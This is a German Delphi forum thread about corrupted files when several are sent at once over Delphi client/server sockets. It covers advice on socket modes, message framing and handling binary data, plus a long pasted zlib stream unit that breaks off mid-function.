Multi Socket Transfer

[Zodi]

Hallo Delphi Programmierer.

Ich habe 2 Anwendungen die eine läuft als Client und die andere als Server.
Dabei benutze ich die TClient/TServer Socket.
Um mehrere Dateien gleichzeitig zu senden erstelle ich zur laufzeit immer wieder einen Client der die entsprechende Datei dann sendet.
Wenn ich z.b 2 oder 3 Dateien gleichzeitig versende funktioniert alles gut.
Aber sobald es dann mehr als 4 Dateien sind die gleichzeitig gesendet werden, passiert es dann das die empfangenen Dateien manchmal fehlerhaft sind.
Zum Testen werden meistens Bilder verwendet und die haben dann fehler wenn man sie anschaut.
Sobald ein neuer Client erstellt wird sendet dieser die Datei so.....

Delphi-Quellcode:

    FileHandle := CreateFile(pchar(File_Pfad),GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
    FileSize := GetFileSize(FileHandle,nil);
    SendData(Socket,'FileTransfer|OpenFile|' + inttostr(FileSize));

     while FileNotEnd do begin

        if FileSize - 4096 > 0 then begin
           SetLength(Data,4096);
           ReadFile(FileHandle,pointer(Data)^,4096,BytesRead,0);
           FileSize := FileSize - 4096;
           SendData(Socket,'FileTransfer|WriteFile|' + Data);
           Sleep(10);    
        end else begin
           SetLength(Data,FileSize);
           ReadFile(FileHandle,pointer(Data)^,FileSize,BytesRead,0);
           SendData(Socket,'FileTransfer|WriteFile|' + Data);
           Sleep(10);
           FileNotEnd := False;
           SendData(Socket,'FileTransfer|CloseFile');
           CloseHandle(FileHandle);
        end;
     end;

Delphi-Quellcode:

procedure SendData(Socket: TClientSocket; Data: string);
var
  Temp: ansistring;
begin
  while (Length(Data) > 0) and (Socket.Connected) do begin
    Temp := AnsiString(Copy(Data,1,4096));
    Delete(Data,1,4096);
    repeat
    Sleep(5);
    until Socket.SendBuffer(pointer(Temp)^,length(Temp)) <> -1;
    sleep(5);
  end;
end;

Sende ich zu schnell so das die Sockets nicht hinterher kommen?
Komisch ist das es ersst auftritt sobald ich mehr als 4 Bilder Gleichzeitig versende.

Danke schonmal im voraus.

[SebastianZ]

Das Bild, das beim senden von 4 oder mehr Probleme macht funktioniert, wenn du es einzeln sendest? Merkwürdig.
Generell würde ich ein Bild oder eine andere Datei nicht in einen String laden und dann als AnsiString casten, dass kann dir Steuerzeichen in der Datei zerstören. Besser wäre hier die Datei zB als Base64 zu kodieren, oder direkt mit Bytes(oder Bytestream) zu arbeiten, ohne diese in einen String zu schreiben.

[scrat1979]

Ich weiß ja nicht wie weit dein Projekt fortgeschritten ist. Habe mich selbst mit der Client-Server-Programmierung beschäftigt und quasi ALLE Socket-Componenten getestet. Hängengeblieben bin ich bei sgcWebSocket. Daraus habe ich mir innerhalb weniger Tage eine eigene Komponente abgeleitet welche nun alle meine Bedürfnisse perfekt abdeckt (ich benutze wahrscheinlich nur maximal 10% des Leistungsumfangs). Meine Programme laufen lokal und über das Internet schnell und stabil. Und das, obwohl ich mich nicht als Profi sondern höchstens als fortgeschritten in Sachen Programmierung bezeichnen würde. Für den privaten Gebrauch ohne Source kostenlos, die Vollversion inkl. Source kostet ca. 150€ ist aber jeden Cent wert.

Vielleicht wäre das einen Versuch - auch für die Zukunft - wert.

[mensch72]

wie willst du wissen, ob du eventuell zuschnell zuviel sendest, wenn du das nirgends abfragst und/oder auswertest ?!

- Ich garantiere dir, über eine langsame WLan oder INet Verbindung zu einem Server im INet bekommst du "so" schon ab der ersten Dateiübertragung Probleme!
- auch wenn es mit AnsiString als Datenpuffer gerade (noch) funktioniert, man macht es nicht. Nimm "TBytes" und bei Casts nie typenlose "Pointer" sondern immer den passenden Typ, hier z-B. "PByteArray"
- über Sockets ist die Mischung aus StringCMDs und folgenden Binärdaten durchaus nix ungewöhnliches, nur macht man das besser in zwei Aufrufen wo der ersten im Klartext ankündigt, was dann binär kommt... besser ist es dort auch den Offset und die erwartete Länge vorab mit zu geben und erst dann die Binärdaten zu schicken
- noch besser wir es, wenn man sich selbst synchronisiert, in dem der Empfänger den Empfang der Daten durch rücksenden des empfangenen Blocks (hier also des StartOffsets) "quittiert" und man erst dann den nächsten Datenblock in den Socket zum Senden reinschreibt.
- sicher wird es, wenn der Empfänger bei seiner Quiitung noch eine Checksumme über die empfangenen Daten zurück schickt, welche der Sender vergleicht und bei Fehler den Datenblock z.B. nochmal wiederholt
- wichtig ist irgendein Sync!... man soll und darf den OS-TCPIP-Stack nicht als quasi unendlich großen Datenpuffer mißbrauchen!

[Zacherl]

Die wichtigste Frage wäre, ob du die Sockets im "blocking" oder "non-blocking" Mode verwendest. Ich vermute, dass letztere Variante der Fall ist, denn nur dann hast du die von mensch72 beschriebenen Probleme. Im blocking Mode blockiert der send bzw. recv Aufruf solange, bis die entsprechenden Buffer wieder Platz haben.

Zitat:

Zitat von mensch72 (Beitrag 1377018)

- noch besser wir es, wenn man sich selbst synchronisiert, in dem der Empfänger den Empfang der Daten durch rücksenden des empfangenen Blocks (hier also des StartOffsets) "quittiert" und man erst dann den nächsten Datenblock in den Socket zum Senden reinschreibt.
- sicher wird es, wenn der Empfänger bei seiner Quiitung noch eine Checksumme über die empfangenen Daten zurück schickt, welche der Sender vergleicht und bei Fehler den Datenblock z.B. nochmal wiederholt

Das ist beides bei Verwendung von TCP komplett überflüssig und verursacht nur unnötigen Overhead. TCP garantiert sowohl die komplette, als auch korrekte Zustellung sämtlicher Daten in unveränderter Reihenfolge.

Zitat:

Zitat von mensch72 (Beitrag 1377018)

- wichtig ist irgendein Sync!... man soll und darf den OS-TCPIP-Stack nicht als quasi unendlich großen Datenpuffer mißbrauchen!

Man KANN (unter Windows) sogar nichtmal. Bei blocking Sockets hat man dieses Problem auch nicht, da die send Aufrufe solange blockieren, bis der Empfänger mit recv eine ausreichende Datenmenge empfangen hat (und somit wieder Platz im Sendebuffer frei ist). Dennoch sollte man die Datenmenge sowohl bei send, als auch bei recv begrenzen (z.b. auf 64KiB Blöcke) und dann in einer Schleife senden/empfangen.

Etwas komplizierter ist es bei "non-blocking" Sockets. Hier muss die Rückgabe von send überprüft werden, da nicht garantiert ist, dass die API sämtliche Daten in einem Rutsch verschickt.

Zitat:

Zitat von MSDN send

If no error occurs, send returns the total number of bytes sent, which can be less than the number requested to be sent in the len parameter. Otherwise, a value of SOCKET_ERROR is returned

Zitat:

Zitat von MSDN send

If no buffer space is available within the transport system to hold the data to be transmitted, send will block unless the socket has been placed in nonblocking mode. On nonblocking stream oriented sockets, the number of bytes written can be between 1 and the requested length, depending on buffer availability on both the client and server computers.

Zitat:

Zitat von MSDN recv

If no error occurs, recv returns the number of bytes received and the buffer pointed to by the buf parameter will contain this data received. If the connection has been gracefully closed, the return value is zero.
Otherwise, a value of SOCKET_ERROR is returned

Zitat:

Zitat von MSDN recv

For connection-oriented sockets (type SOCK_STREAM for example), calling recv will return as much data as is currently available—up to the size of the buffer specified. [..] If no incoming data is available at the socket, the recv call blocks and waits for data to arrive [..] unless the socket is nonblocking. In this case, a value of SOCKET_ERROR is returned

[mensch72]

mir ist die vom Layer bei TCP hier schon garantierten vollständigen und gesicherten Übertragung (im gegensatz z.B. zu UDP) durchaus klar und auch der Unterschied zw. "blocking"(hoffentlich Thread basiert) oder "non-blocking"(hoffentlich eventbasiert) ist bekannt:)

Aber wenn ich den ersten Quelltext hier sehe, glaube ich das man ohne viel Nachdenken und Zeitaufwand es mit einer resultierend durch Übertragungszeit und Datenoverhead verlangsamenden eigenen logischen Quittung als Einsteiger leichter hin bekommt, als wenn man alles nur auf Basis der SocketStates(error, busy oder ready) verarbeiten und strukturieren soll.

-> Hier möchte jemand mehr Funktions&Datensicherheit, also kann er nach meiner Einschätzung&Erfahrung die so mit wenig (Lern)Aufwand weiter mit seinen aktuellen Mitteln reicht einfach erreichen.
-> Und ja, auch wenn es dem allgemeinem Ansatz der "eh schon per Layer gesicherten) Übertragung per TCP wiederspricht, ich finde logische Blockquittungen seitens des Empfängers sinnvoll, wenn dieser damit anzeigt das er die Daten erfolgreich empfangen UND VERARBEITET hat(in dem Fall Block erfolgreich auf HD gespeichert).
=> Möge der Fragende selbst entscheiden ob er sich weiter voll auf den Stack und dann nötige Auswertung von dessen States&Errors verlässt, oder sich weiter um nichts kümmert und es mit einer einfachen zusätzlichen eigenen Quittung selbst löst(und sein Ausgagsproblem so dann eben umgeht).

Da ich falsches Verhalten des Sockets ausschließe, wäre eine mögliche "non blocked" Erkläung für beschriebenen Effekt: der Socket hat beim Send die per Pointer übergebenen Daten nicht selbst dupliziert, sondern überträgt diese direkt ... heißt wenn dies in 10ms wie hier programmiert nicht fertig, würden durch den nächsten FileRead die Daten mit neuen Werten überschrieben.
Klar, wenn es ein "blocked Socked ist, kann&darf der garnicht zurückkommen, bevor nicht alle Daten "bestätigt" versendet sind... aber warum verwendet hier dann einer noch ein Sleep(10)???... ist es eventuell eben doch eine NonBlocked Übertragung???
=> Genau weil da wo ich bin sich NIEMALS jemand um sowas Gedanken machen will(schon garnicht beim Lesen fremder Quelltexte), gilt bei uns die goldene Regel: wir quittieren alles logisch und sei es über einen 2. Kanal (z.B. anderer Port,UDP,...)


OffTopic:
Nach Layerdefinition garantiert der Stack das TCP "100% sicher" ist... eventuell ist es unter Linux so aber Windows mag es reproduzierbar garnicht, wenn ich zuviel parallel mit einmal in/an den Stack gebe.
Wenn ich optimale Übertragung fast ohne Overhead will, bleibe ich mit meinem PayLoad knapp unter der aktuell verfügbaren FrameSize im Netzwerk.
Leider programmiere ich auch netzwerkfähige Embedded Microcontroler... da gibt es dann zwar auch einen TCP-Socket, nur der hat sehr oft seine physikalischen Grenzen(z.B. DMA-SpeicherpufferGröße)... daher quäle ich diesen nicht und übertrage nicht mehr als in ein Paket was in den internen Puffer passt und etwas unter der NetzwerkFrameSize liegt. Dann warte ich bis es die Gegenstelle "logisch" quittiert.
Nur so funktioniert es problemlos von 8..64Bit und im Speed von GPRS bis GigaBit, auch wenn man per Definition sich bei TCP-Sockets um sowas selbst garnicht mehr kümmern soll:)

[mjustin]

Zitat:

Zitat von Zodi (Beitrag 1376997)

Um mehrere Dateien gleichzeitig zu senden erstelle ich zur laufzeit immer wieder einen Client der die entsprechende Datei dann sendet.

Woran erkennt der Server das Ende der Datei, wenn die Dateilänge nicht vorab übermittelt wird, und auch kein Ende-Byte gesendet werden kann (da es Binärdaten sind, daher dieses Endebyte enthalten sein kann)?

Die Lösungen wären also:

* Dateilänge vorab senden
* oder: Base64 Encoding verwenden und ein Null-Endebyte senden

Das es dennoch funktioniert, liegt daran dass der Server-Code beim Ausbleiben von Daten 'optimistisch' annimmt es sei das Ende der Datei erreicht ;)

[mensch72]

..."Woran erkennt der Server das Ende der Datei"...?
=> steht doch oben im Quelltext... zum Schluss wird ein "CloseFile" als logische SteuerInformation an den Client geschickt... ist zwar für den Client nicht überprüfbar ob er alles ahat, aber es funktioniert wenn alles gut geht so durch aus:)

Eine "Base64" Übertragung gibt 25% Overhead... muss nicht sein wenn man sich wie aktuell auf den TCP Stream verlässt oder eben besser doch Offset&Länge noch als SteuerInfo mit überträgt.

[mjustin]

Zitat:

Zitat von mensch72 (Beitrag 1377068)

..."Woran erkennt der Server das Ende der Datei"...?
=> steht doch oben im Quelltext... zum Schluss wird ein "CloseFile" als logische SteuerInformation an den Client geschickt... ist zwar für den Client nicht überprüfbar ob er alles ahat, aber es funktioniert wenn alles gut geht so durch aus:)

Prüft der Client auf "CloseFile"? Vermutlich ja, aber ohne den Code zu sehen kann man schwer sagen ob er noch Fehler enthält.

p.s. der Server sendet die Dateien 'gleichzeitig'. Werden mehrere Threads erzeugt? Wie sieht der Code dazu aus?

[Zacherl]

Zitat:

Zitat von mensch72 (Beitrag 1377035)

Aber wenn ich den ersten Quelltext hier sehe, glaube ich das man ohne viel Nachdenken und Zeitaufwand es mit einer resultierend durch Übertragungszeit und Datenoverhead verlangsamenden eigenen logischen Quittung als Einsteiger leichter hin bekommt, als wenn man alles nur auf Basis der SocketStates(error, busy oder ready) verarbeiten und strukturieren soll.

Ist sicherlich Geschmackssache und kommt auf die Situation an :P Wenn man das Prinzip der blocking Sockets verstanden hat, ist es sicherlich kein Problem nach dem Versenden noch kurz auf ein schnelles "Ack"-Paket vom Server zu warten (wobei man dann auch hier noch Timeouts etc. implementieren muss, für den Fall, dass der Server aus irgendeinem Grund nicht zum Antworten kommt). Persönlich finde ich es aber auch nicht komplizierter, grade einen Rückgabewert zu prüfen (was man ja sowieso eigentlich in jedem Falle machen sollte).

Zitat:

Zitat von mensch72 (Beitrag 1377035)

ich finde logische Blockquittungen seitens des Empfängers sinnvoll, wenn dieser damit anzeigt das er die Daten erfolgreich empfangen UND VERARBEITET hat(in dem Fall Block erfolgreich auf HD gespeichert).

Das ist natürlich immer sinnvoll sein bei Operationen, die fehlschlagen könnten :thumb: Ich persönlich verzichte allerdings meistens auf die Quittierung sämtlicher Blöcke, sondern schicke nur im Fehlerfalle ein Paket.

Zitat:

Zitat von mensch72 (Beitrag 1377035)

Nach Layerdefinition garantiert der Stack das TCP "100% sicher" ist... eventuell ist es unter Linux so aber Windows mag es reproduzierbar garnicht, wenn ich zuviel parallel mit einmal in/an den Stack gebe.

Puh, das kann ich bei mir (zum Glück :stupid:) nicht reproduzieren. Hatte mal eine Anwendung, die auch sehr viele Dateien parallel sendet, indem mehrere Threads mit jeweils eigenem Client-Socket erstellt wurden (ist letztlich an der maximalen Anzahl von Threads per Anwendung gescheitert; unterhalb dieser Grenze lief das aber wunderbar). Nach diesem Versuch habe ich ein Protokoll entwickelt, welches beliebig viele Dateien parallel über ein einzelnes Socket streamen kann (wollte on-the-fly compression, Prioritäten, etc.). Auch hier hatte ich selbst bei sehr großer Blockgröße (teilweise über 100MiB auf Gigabit Servern) kein Problem.

Zitat:

Zitat von mjustin (Beitrag 1377061)

Dateilänge vorab senden

Zumindest mal die Länge würde ich bei Übertragung von Binärdaten wirklich immer vorherstellen! Alleine schon, um Teilpakete ggfls. wieder korrekt separieren bzw. zusammensetzen zu können. TCP garantiert nämlich NICHT, dass zwei Aufrufe von send auch in zwei Aufrufe von recv resultieren. Ganz im Gegenteil werden mehrere kleine Pakete dann nämlich in einem Rutsch empfangen und müssen per Hand getrennt werden. Analog dazu führen extreme Blockgrößen bei send dazu, dass ein einzelnes Paket in mehreren Schritten übertragen wird und dann erst reassembliert werden muss.

[CCRDude]

Das wirkt jetzt vielleicht ein wenig wie ziemlich viel overhead, aber wenn man sowas "auf die Schnelle" programmieren will, bietet sich irgendwie http an, da gibt's fertige Client- und Server-Parts, sei es nun Indy oder Synapse. Da haben sich dann schon ganz andere viele Gedanken zum Übertragungsprotokoll gemacht und bis hin zum Multithreading ist eigentlich alles fertig...

Ich kann zwar auch verstehen, wenn man sich sowas selber erarbeiten will, aber wie schon jemand vor mir angemerkt hat: wenn man noch mit Sleep() arbeitet, kann mich sich auch erstmal anderen Themen widmen ;)

[mjustin]

Als open source Indy Aufsatz für HTTP Serveranwendungen (ideal für parallele Dateitransfers) empfehle ich mal dieses:

HTTP Server Framework für Object Pascal - nun auf GitHub

[Zodi]

Ich habe das Problem gefunden. Da ich die Dateien in chuncks auslese und die Strings dann vor dem senden mit dem ZlibEx Komprimiere und danach wieder Dekompriemiere haben die Bilder Fehler.
Wenn ich das Compress und Decompress weglasse und die Strings direkt schicke kommen alle Bilder korekt auf der gegenseite an.
Es muss also an dem ZlibEx liegen dies ist die Version 1.1.4 die wohl nur auf älteren Delphi versionen korekt läuft.

So werden die Strings Komprimiert und verschickt.

Delphi-Quellcode:

procedure SendData(Socket: TClientSocket; Data: string);
begin
  Data := Compress(Data);
  Data := inttostr(length(Data)) + '|' + Data;

  if Socket = nil then exit;
  if not Socket.Connected then Exit;

  Send(Socket,Data);
end;

procedure Send(Socket: TClientSocket; Data: string);
var
  Temp: ansistring;
begin
  while (Length(Data) > 0) and (Socket.Connected) do begin
    Temp := AnsiString(Copy(Data,1,65536));

    Delete(Data,1,65536);
    repeat

    Sleep(10);
    until Socket.SendBuffer(pointer(Temp)^,length(Temp)) <> -1;
    sleep(10);
  end;
end;

[mensch72]

Abschließend: Auch wenn es funktioniert, man mißbraucht keine Strings um Binärdaten darin zu speichern!

TBytes oder TByteArray zusammen mit PByteArray sind für Aufgaben wie Blockweises einlesen & verarbeiten(komprimieren,decomprimieren) und anschießendes Übertragen viel besser geeignet.
Auch wenn ZLib es noch anbietet, das komprimierte Result (=100% binär) wieder in einem String zu speichern, mach es nicht.

Wenn man schon Binärdaten hat, dann setze man einfach davor eine Kennung fester Länge(Tag) und die Größe auch in fester Länge(LEN) und lasse die Daten folgen(Value)... das ist dann schon die einfachste Form eines TLV Protokolls... also nicht die Größe per IntToStr mit einem "Trennzeichen" vor die Binärdaten!


Aber wenn es funktioniert und es dir so reicht dann lass es so

[HolgerX]

Hmm..

Und zusätzlich kommt dann noch das Problem mit UniCode-/Ansi-Strings...

Welches verwendet denn das ZlibEx?
Wenn es eine Version für D7 und vorher ist, dann wird die wohl Ansi erwarten, was zum Verkrüppeln der (Binär) Daten führt, wenn der UniCode-String in nen Ansi konvertiert wird. ;)

Deshalb (wie bereits geschrieben) BinärDaten immer nur mit einem Binärformat schicken (ByteArray)...

[Zodi]

Meine Zlib Version ist die 1.1.4 und die schaut so aus.

Delphi-Quellcode:

unit CompressionStreamUnit;

interface

{$WARNINGS OFF}

uses
  Windows;

const
  ZLIB_VERSION = '1.1.4';
  WM_USER = $0400;
  MaxListSize = Maxint div 16;
  soFromBeginning = 0;
  soFromCurrent = 1;
  soFromEnd = 2;

type
  TNotifyEvent = procedure(Sender: TObject) of object;

  TSeekOrigin = (soBeginning, soCurrent, soEnd);

  TStream = class(TObject)
  private
    function GetPosition: Int64;
    procedure SetPosition(const Pos: Int64);
    function GetSize: Int64;
    procedure SetSize64(const NewSize: Int64);
  protected
    procedure SetSize(NewSize: Longint); overload; virtual;
    procedure SetSize(const NewSize: Int64); overload; virtual;
  public
    function Read(var Buffer; Count: Longint): Longint; virtual; abstract;
    function Write(const Buffer; Count: Longint): Longint; virtual; abstract;
    function Seek(Offset: Longint; Origin: Word): Longint; overload; virtual;
    function Seek(const Offset: Int64; Origin: TSeekOrigin): Int64; overload; virtual;
    procedure ReadBuffer(var Buffer; Count: Longint);
    procedure WriteBuffer(const Buffer; Count: Longint);
    function CopyFrom(Source: TStream; Count: Int64): Int64;
    property Position: Int64 read GetPosition write SetPosition;
    property Size: Int64 read GetSize write SetSize64;
  end;

  TCustomMemoryStream = class(TStream)
  private
    FMemory: Pointer;
    FData: Pointer;
    FSize, FPosition: Longint;
  protected
    procedure SetPointer(Ptr: Pointer; Size: Longint);
  public
    function Read(var Buffer; Count: Longint): Longint; override;
    function Seek(Offset: Longint; Origin: Word): Longint; override;
    procedure SaveToStream(Stream: TStream);
    procedure SaveToFile(const FileName: string);
    property Memory: Pointer read FMemory;
    property Data: Pointer read FData write FData;
  end;

  TMemoryStream = class(TCustomMemoryStream)
  private
    FCapacity: Longint;
    procedure SetCapacity(NewCapacity: Longint);
  protected
    function Realloc(var NewCapacity: Longint): Pointer; virtual;
    property Capacity: Longint read FCapacity write SetCapacity;
  public
    destructor Destroy; override;
    procedure Clear;
    procedure LoadFromStream(Stream: TStream);
    procedure LoadFromFile(const FileName: string);
    procedure SetSize(NewSize: Longint); override;
    function Write(const Buffer; Count: Longint): Longint; override;
  end;

  THandleStream = class(TStream)
  protected
    FHandle: Integer;
    procedure SetSize(NewSize: Longint); override;
    procedure SetSize(const NewSize: Int64); override;
  public
    constructor Create(AHandle: Integer);
    function Read(var Buffer; Count: Longint): Longint; override;
    function Write(const Buffer; Count: Longint): Longint; override;
    function Seek(const Offset: Int64; Origin: TSeekOrigin): Int64; override;
    property Handle: Integer read FHandle;
  end;

  TFileStream = class(THandleStream)
  public
    constructor Create(const FileName: string; Mode: Word); overload;
    constructor Create(const FileName: string; Mode: Word; Rights: Cardinal); overload;
    destructor Destroy; override;
  end;
  TAlloc = function(Opaque: Pointer; Items, Size: Integer): Pointer;
  TFree = procedure(Opaque, Block: Pointer);

  TCompressionLevel = (zcNone, zcFastest, zcDefault, zcMax);

  TCompressionStreamRecord = packed record
    NextIn: PChar;
    AvailableIn: dword;
    TotalIn: dword;
    NextOut: PChar;
    AvailableOut: dword;
    TotalOut: dword;
    Msg: PChar;
    State: Pointer;
    AllocProc: TAlloc;
    FreeProc: TFree;
    Opaque: Pointer;
    DataType: dword;
    Adler: dword;
    Reserved: dword;
  end;

  TCustomCompressionStream = class(TStream)
  private
    FStream: TStream;
    FStreamPos: Integer;
    FOnProgress: TNotifyEvent;
    FStreamRecord: TCompressionStreamRecord;
    FBuffer: array [Word] of Char;
  protected
    constructor Create(stream: TStream);
    procedure DoProgress; dynamic;
    property OnProgress: TNotifyEvent read FOnProgress write FOnProgress;
  end;

  TCompressionStream = class(TCustomCompressionStream)
  private
    function GetCompressionRate: Single;
  public
    constructor Create(dest: TStream; CompressionLevel: TCompressionLevel = zcDefault);
    destructor Destroy; override;
    function Read(var Buffer; Count: longint): longint; override;
    function Write(const Buffer; Count: longint): longint; override;
    function Seek(Offset: longint; Origin: Word): longint; override;
    property CompressionRate: Single read GetCompressionRate;
    property OnProgress;
  end;

  TDecompressionStream = class(TCustomCompressionStream)
  public
    constructor Create(source: TStream);
    destructor Destroy; override;
    function Read(var Buffer; Count: longint): longint; override;
    function Write(const Buffer; Count: longint): longint; override;
    function Seek(Offset: longint; Origin: Word): longint; override;
    property OnProgress;
  end;

function adler32(adler: LongInt; const buf: PChar; len: Integer): LongInt;
function crc32(crc: LongInt; const buf: PChar; len: Integer): LongInt;
function compressBound(sourceLen: LongInt): LongInt;

implementation

{$L objects\adler32.obj}
{$L objects\compress.obj}
{$L objects\crc32.obj}
{$L objects\deflate.obj}
{$L objects\infback.obj}
{$L objects\inffast.obj}
{$L objects\inflate.obj}
{$L objects\inftrees.obj}
{$L objects\trees.obj}
{$L objects\uncompr.obj}

const
  Levels: array[TCompressionLevel] of Shortint = (0, 1, (-1), 9);
  _z_errmsg: array[0..9] of PChar = ('', '', '', '', '', '', '', '', '', '');
  fmCreate = $FFFF;
  fmOpenRead = $0000;
  fmOpenWrite = $0001;
  fmOpenReadWrite = $0002;
  fmShareCompat = $0000;
  fmShareExclusive = $0010;
  fmShareDenyWrite = $0020;
  fmShareDenyRead = $0030;
  fmShareDenyNone = $0040;


function deflateInit_(var strm: TCompressionStreamRecord; level: Integer; version: PChar; recsize: Integer): Integer; external;
function DeflateInit2_(var strm: TCompressionStreamRecord; level: integer; method: integer; windowBits: integer; memLevel: integer; strategy: integer; version: PChar; recsize: integer): integer; external;
function deflate(var strm: TCompressionStreamRecord; flush: Integer): Integer; external;
function deflateEnd(var strm: TCompressionStreamRecord): Integer; external;
function inflateInit_(var strm: TCompressionStreamRecord; version: PChar; recsize: Integer): Integer; external;
function inflateInit2_(var strm: TCompressionStreamRecord; windowBits: integer; version: PChar; recsize: integer): integer; external;
function inflate(var strm: TCompressionStreamRecord; flush: Integer): Integer; external;
function inflateEnd(var strm: TCompressionStreamRecord): Integer; external;
function inflateReset(var strm: TCompressionStreamRecord): Integer; external;
function adler32; external;
function crc32; external;
function compressBound; external;

function FileOpen(const FileName: string; Mode: LongWord): Integer;
const
  AccessMode: array[0..2] of LongWord = (
    GENERIC_READ,
    GENERIC_WRITE,
    GENERIC_READ or GENERIC_WRITE);
  ShareMode: array[0..4] of LongWord = (
    0,
    0,
    FILE_SHARE_READ,
    FILE_SHARE_WRITE,
    FILE_SHARE_READ or FILE_SHARE_WRITE);
begin
  Result := -1;
  if ((Mode and 3) <= $0002) and
    (((Mode and $F0) shr 4) <= $0040) then
    Result := Integer(CreateFile(PChar(FileName), AccessMode[Mode and 3],
      ShareMode[(Mode and $F0) shr 4], nil, OPEN_EXISTING,
      FILE_ATTRIBUTE_NORMAL, 0));
end;

procedure FileClose(Handle: Integer);
begin
  CloseHandle(THandle(Handle));
end;

function FileCreate(const FileName: string): Integer;
begin
  Result := Integer(CreateFile(PChar(FileName), GENERIC_READ or GENERIC_WRITE,
    0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0));
end;

function FileRead(Handle: Integer; var Buffer; Count: LongWord): Integer;
begin
  if not ReadFile(THandle(Handle), Buffer, Count, LongWord(Result), nil) then
    Result := -1;
end;

function FileWrite(Handle: Integer; const Buffer; Count: LongWord): Integer;
begin
  if not WriteFile(THandle(Handle), Buffer, Count, LongWord(Result), nil) then
    Result := -1;
end;

function FileSeek(Handle, Offset, Origin: Integer): Integer;
begin
  Result := SetFilePointer(THandle(Handle), Offset, nil, Origin);
end;

function zcalloc(opaque: Pointer; items, size: Integer): Pointer;
begin
  GetMem(Result, items * size);
end;

procedure zcfree(opaque, block: Pointer);
begin
  FreeMem(block);
end;

procedure _memset(p: Pointer; b: Byte; Count: Integer); cdecl;
begin
  FillChar(p^, Count, b);
end;

procedure _memcpy(dest, source: Pointer; Count: Integer); cdecl;
begin
  move(source^, dest^, Count);
end;

function DeflateInit(var stream: TCompressionStreamRecord; level: Integer): Integer;
begin
  Result := DeflateInit_(stream, level, ZLIB_VERSION, SizeOf(TCompressionStreamRecord));
end;

function DeflateInit2(var stream: TCompressionStreamRecord; level, method, windowBits,
  memLevel, strategy: Integer): Integer;
begin
  Result := DeflateInit2_(stream, level, method, windowBits, memLevel, strategy, ZLIB_VERSION, SizeOf(TCompressionStreamRecord));
end;

function InflateInit(var stream: TCompressionStreamRecord): Integer;
begin
  Result := InflateInit_(stream, ZLIB_VERSION, SizeOf(TCompressionStreamRecord));
end;

function InflateInit2(var stream: TCompressionStreamRecord; windowBits: Integer): Integer;
begin
  Result := InflateInit2_(stream, windowBits, ZLIB_VERSION, SizeOf(TCompressionStreamRecord));
end;

function TStream.GetPosition: Int64;
begin
  Result := Seek(0, soCurrent);
end;

procedure TStream.SetPosition(const Pos: Int64);
begin
  Seek(Pos, soBeginning);
end;

function TStream.GetSize: Int64;
var
  Pos: Int64;
begin
  Pos := Seek(0, soCurrent);
  Result := Seek(0, soEnd);
  Seek(Pos, soBeginning);
end;

procedure TStream.SetSize(NewSize: Longint);
begin
  SetSize(NewSize);
end;

procedure TStream.SetSize64(const NewSize: Int64);
begin
  SetSize(NewSize);
end;

procedure TStream.SetSize(const NewSize: Int64);
begin
  if (NewSize < Low(Longint)) or (NewSize > High(Longint)) then
    Exit;
  SetSize(Longint(NewSize));
end;

function TStream.Seek(Offset: Longint; Origin: Word): Longint;
type
  TSeek64 = function (const Offset: Int64; Origin: TSeekOrigin): Int64 of object;
var
  Impl: TSeek64;
  Base: TSeek64;
  ClassTStream: TClass;
begin
  Impl := Seek;
  ClassTStream := Self.ClassType;
  while (ClassTStream <> nil) and (ClassTStream <> TStream) do
    ClassTStream := ClassTStream.ClassParent;
  Base := TStream(@ClassTStream).Seek;
  Result := Seek(Int64(Offset), TSeekOrigin(Origin));
end;

function TStream.Seek(const Offset: Int64; Origin: TSeekOrigin): Int64;
begin
  Result := 0;
  if (Offset < Low(Longint)) or (Offset > High(Longint)) then
    Exit;
  Result := Seek(Longint(Offset), Ord(Origin));
end;

procedure TStream.ReadBuffer(var Buffer; Count: Longint);
begin
  if (Count <> 0) and (Read(Buffer, Count) <> Count) then
    Exit;
end;

procedure TStream.WriteBuffer(const Buffer; Count: Longint);
begin
  if (Count <> 0) and (Write(Buffer, Count) <> Count) then
    Exit;
end;

function TStream.CopyFrom(Source: TStream; Count: Int64): Int64;
const
  MaxBufSize = $F000;
var
  BufSize, N: Integer;
  Buffer: PChar;
begin
  if Count = 0 then
  begin
    Source.Position := 0;
    Count := Source.Size;
  end;
  Result := Count;
  if Count > MaxBufSize then BufSize := MaxBufSize else BufSize := Count;
  GetMem(Buffer, BufSize);
  try
    while Count <> 0 do
    begin
      if Count > BufSize then N := BufSize else N := Count;
      Source.ReadBuffer(Buffer^, N);
      WriteBuffer(Buffer^, N);
      Dec(Count, N);
    end;
  finally
    FreeMem(Buffer, BufSize);
  end;
end;

constructor THandleStream.Create(AHandle: Integer);
begin
  inherited Create;
  FHandle := AHandle;
end;

function THandleStream.Read(var Buffer; Count: Longint): Longint;
begin
  Result := FileRead(FHandle, Buffer, Count);
  if Result = -1 then Result := 0;
end;

function THandleStream.Write(const Buffer; Count: Longint): Longint;
begin
  Result := FileWrite(FHandle, Buffer, Count);
  if Result = -1 then Result := 0;
end;

function THandleStream.Seek(const Offset: Int64; Origin: TSeekOrigin): Int64;
begin
  Result := FileSeek(FHandle, Offset, Ord(Origin));
end;

procedure THandleStream.SetSize(NewSize: Longint);
begin
  SetSize(Int64(NewSize));
end;

procedure THandleStream.SetSize(const NewSize: Int64);
begin
  Seek(NewSize, soBeginning);
end;

constructor TFileStream.Create(const FileName: string; Mode: Word);
begin
  Create(Filename, Mode, 0);
end;

constructor TFileStream.Create(const FileName: string; Mode: Word; Rights: Cardinal);
begin
  if Mode = $FFFF then
  begin
    inherited Create(FileCreate(FileName));
  end
  else
  begin
    inherited Create(FileOpen(FileName, Mode));
  end;
end;

destructor TFileStream.Destroy;
begin
  if FHandle >= 0 then FileClose(FHandle);
  inherited Destroy;
end;

constructor TCustomCompressionStream.Create(Stream: TStream);
begin
  inherited Create;
  FStream := Stream;
  FStreamPos := Stream.Position;
end;

procedure TCustomCompressionStream.DoProgress;
begin
  if Assigned(FOnProgress) then FOnProgress(Self);
end;

constructor TCompressionStream.Create(Dest: TStream; CompressionLevel: TCompressionLevel);
begin
  inherited Create(dest);
  FStreamRecord.NextOut := FBuffer;
  FStreamRecord.AvailableOut := SizeOf(FBuffer);
  DeflateInit(FStreamRecord, Levels[CompressionLevel]);
end;

destructor TCompressionStream.Destroy;
begin
  FStreamRecord.NextIn := nil;
